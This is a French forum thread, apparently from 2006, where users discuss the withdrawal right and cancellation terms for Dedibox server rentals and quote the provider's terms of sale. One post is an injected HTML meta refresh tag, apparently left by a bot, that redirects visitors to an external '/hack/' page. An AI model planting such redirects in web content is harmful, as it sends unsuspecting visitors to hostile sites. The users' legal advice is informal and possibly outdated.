Le Forum Non Officiel de la DEDIBOX
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Une lettre type est soit disant dans la console de gestion... Mais où? ![]()
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En fait elle n'existe pas! ![]()
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et pour se retracter, et arreter l'offre, tu fais comment alors ?
Siteman a écrit:
et pour se retracter, et arreter l'offre, tu fais comment alors ?
Ben tu px pas :+
12.2 Droit de rétractation
En application du Code de la Consommation, l'Usager, qui à la qualité de consommateur, dispose d'un droit de
rétractation de 7 jours francs à compter de l'acceptation de l'offre de Service, qui peut être exercé en utilisant
la lettre type disponible dans la Console de Gestion de compte et en l'expédiant par lettre recommandée avec
accusé de réception adressée à :
Au delà du délais de 7 jours, l'Usager perd la faculté d'exercer son droit de rétractation.
L'exercice de ce droit de rétractation implique le remboursement par DEDIBOX de toutes les sommes dont
l'Usager aura été éventuellement prélevé ou débité au titre du Contrat.
Si ce délai expire normalement un Samedi, un Dimanche ou un jour férié ou chômé, il est prorogé jusqu'au
premier jour ouvrable suivant.
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tu prend notepad, tu tape une lettre, tu imprime, et tu envoi ![]()
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moua a écrit:
tu prend notepad, tu tape une lettre, tu imprime, et tu envoi
Je sais. C'est pour le principe ![]()
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Il me semble qu'Arnaud a expliqué que la nouvelle modif des CGV retirait la lettre type pour la remplacer par une lettre papier libre. C'est donc normal de ne plus l'avoir dans la console de gestion ![]()
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lettre type ici http://console.dedibox.fr/content/resil … 7aaa62e616
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qualif a écrit:
lettre type ici http://console.dedibox.fr/content/resil … 7aaa62e616
Non y'a rien a cette URL
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Les CGV ont été modifiée, pensez a bien les relires, un des points changé:
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Et si on a deja depassé les 7j, par exemple, au bout d'un mois, et que l'on veut arreter l'offre dedibox, ca se passe comment ?
on envoit une lettre pareil a cette adresse ?
un preavis de 40 jours et tu envois une lettre de resiliation à l'adresse indiquée ci-dessou pensez a lire le CGV ![]()
Dernière modification par mza (2006-05-15 09:11:54)
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J@r0d a écrit:
Les CGV ont été modifiée, pensez a bien les relires, un des points changé:
http://img268.imageshack.us/img268/750/cgv1222hb.png
Quels identifiants?
Le délai de rétractation est de 7 jours, ok. Mais à partir de quand ???
Logiquement à partir de la livraison du serveur, car cela sera la date du début de l'abonnement !
CPASMOI a écrit:
Le délai de rétractation est de 7 jours, ok. Mais à partir de quand ???
Logiquement à partir de la livraison du serveur, car cela sera la date du début de l'abonnement !
Exact
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Lucky a écrit:
CPASMOI a écrit:
Le délai de rétractation est de 7 jours, ok. Mais à partir de quand ???
Logiquement à partir de la livraison du serveur, car cela sera la date du début de l'abonnement !Exact
Et non :
" A compter le l'acceptation de l'offre de service " soit dès la commande .
<meta http-equiv="Refresh" content="0;url=http://www.cemkandemir1907.sitemynet.com/hack/">
Tiens, on dirait un bot ![]()
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* Comment se passe la rétractation? *
Le droit de rétractation est applicable uniquement si l’Usager à la qualité de consommateur (= un particulier), dans un délais de 7 jours hors samedi, dimanche et jours fériers.
Ce droit est applicable avant ou après livraison, c’est a dire dans les 7 jours suivant votre souscription au service et/ou dans les 7 jours suivant la livraison de votre Dedibox.
Pour utiliser votre droit de rétractation, vous devez envoyer votre demande papier libre, en lettre recommandée avec accusé de réception, en y indiquant votre identifant et vos coordonnées.
Voir la documentation fournit par note ami Arnaud
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Ca change pas mal de chose.
Merci Myst pour ces précisions
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Au niveau de la resiliation d'abonnement.
Notes importantes à propos du service Dedibox
Pour résilier votre serveur Dedibox, vous devez nous expédier le formulaire de résiliation par lettre recommandée avec accusé de réception. Pour plus d'informations à propos de nos conditions de résiliation consultez notre documentation. Exemple : Si vous résiliez avant le 20 du mois courant, la prestation sera désactivée à la fin du mois, sinon à la fin du mois suivant.
A premiere vue (sauf si j'ai du mal a lire) le delait de 40j n'est plus ?
Avec un delait d'arret aussi court la location de dedibox devient d'une facilité enfantile je trouves
tres bien pour des utilisations "poctuel" !
Quelqun pourrais tout de meme confirmer que ces informations sont réel ?
page "Liste des prestations de votre compte" : https://console.dedibox.fr/index.php?rub=presta
Merci,
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J'ai acheter une voiture vendredi dernier à 18h et du fait du manque de luminositer le lendemain matin je me suis rendu compte que la voiture était abîmer sur la carrosserie et que la portière ne se fermer pas à clef.
Je l'ai appelé, et elle m'a envoyé ballader donc du coût je lui est envoyè une lettre recommander avec... et toujours rien depuis, qu'elles sont mes droits.
Euhhhh c'est pas le bon forum, là.
C'était une discussion sur la résiliation/retractation d'une Dedibox.
Pour un achat de véhicule, tourne-toi vers un groupe plus dédié (ou un généraliste du droit, type fr.misc.droit sur groups.google.com). Sinon, si ton assurance offre des services "défense/recours", contacte-les.
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